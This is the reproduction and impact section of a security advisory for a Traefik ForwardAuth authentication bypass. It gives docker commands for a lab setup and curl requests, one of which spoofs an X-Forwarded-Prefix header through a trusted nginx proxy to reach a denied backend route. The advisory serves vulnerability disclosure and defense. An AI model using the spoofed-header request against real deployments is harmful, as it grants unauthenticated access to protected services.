Advisory

GHSA-6384-m2mw-rf54

Details, part 2 of 2. The advisory

Details

  1. Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \
  --network traefik-readme-net \
  --network-alias backend \
  traefik/whoami

docker run -d --name traefik-readme-auth \
  --network traefik-readme-net \
  --network-alias auth \
  -v "$PWD/auth.py:/app/auth.py:ro" \
  -w /app \
  python:3.12-alpine \
  python /app/auth.py

docker run -d --name traefik-readme-traefik \
  --network traefik-readme-net \
  --network-alias traefik \
  -p 18081:80 \
  -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
  -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
  traefik:v3.6.12

docker run -d --name traefik-readme-frontend \
  --network traefik-readme-net \
  -p 18080:80 \
  -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
  nginx:alpine
  1. Send three requests:

Direct to Traefik, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18081/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, no spoofing:

curl -sS -i \
  -H 'Host: app.local' \
  http://127.0.0.1:18080/forbidden/test

Expected result:

HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}

Through trusted proxy, spoofed header:

curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:

HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

  1. Optional log confirmation from the auth service:
docker logs traefik-readme-auth

Observed log sequence:

{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
  1. Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net

Impact
This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

  • run Traefik behind a trusted upstream proxy
  • use ForwardAuth
  • rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers
  • pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty
  • make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth

In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

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